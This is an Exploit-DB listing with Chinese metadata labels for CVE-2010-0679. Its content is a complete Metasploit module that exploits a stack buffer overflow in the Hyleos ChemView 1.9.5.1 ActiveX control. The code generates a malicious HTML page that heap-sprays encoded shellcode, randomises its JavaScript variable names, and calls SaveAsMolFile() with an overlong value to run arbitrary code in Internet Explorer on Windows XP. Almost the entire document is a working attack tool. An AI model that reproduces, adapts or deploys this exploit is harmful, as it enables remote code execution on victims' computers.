标题: Hyleos ChemView 1.9.5.1 - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 11422 CVE: 2010-0679 类型: REMOTE 平台: WINDOWS 发布日期: 2010-02-12 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Hyleos ChemView ActiveX Control Buffer Overflow Exploit',
   'Description'    => %q{
    This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1
    By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer
    and execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Dz_attacker <dz_attacker[at]hotmail.fr>'
    ],
   'References'     =>
    [
     [ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\x0a\x0a\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]
    ],
   'DisclosureDate' => 'Feb 11 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME',   [ false, 'The file name.',  'msf.html']),
    ], self.class)
 end

 def exploit

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Setup exploit buffers
  nops    = Rex::Text.to_unescape([target.ret].pack('V'))
  ret     = Rex::Text.uri_encode([target.ret].pack('L'))
  blocksize = 0x40000
  fillto    = 300
  offset    = target['Offset']

  # Randomize the javascript variable names
  chemview     = rand_text_alpha(rand(100) + 1)
  j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops       = rand_text_alpha(rand(100) + 1)
  j_ret        = rand_text_alpha(rand(100) + 1)
  j_headersize = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_block      = rand_text_alpha(rand(100) + 1)
  j_memory     = rand_text_alpha(rand(100) + 1)
  j_counter    = rand_text_alpha(rand(30) + 2)


  html = %Q|<html>
<object classid='clsid:C372350A-1D5A-44DC-A759-767FC553D96C' id='#{chemview}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{chemview}.SaveAsMolFile(#{j_ret});
</script>
</html>|

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(html)
 end

end URL: https://www.exploit-db.com/exploits/11422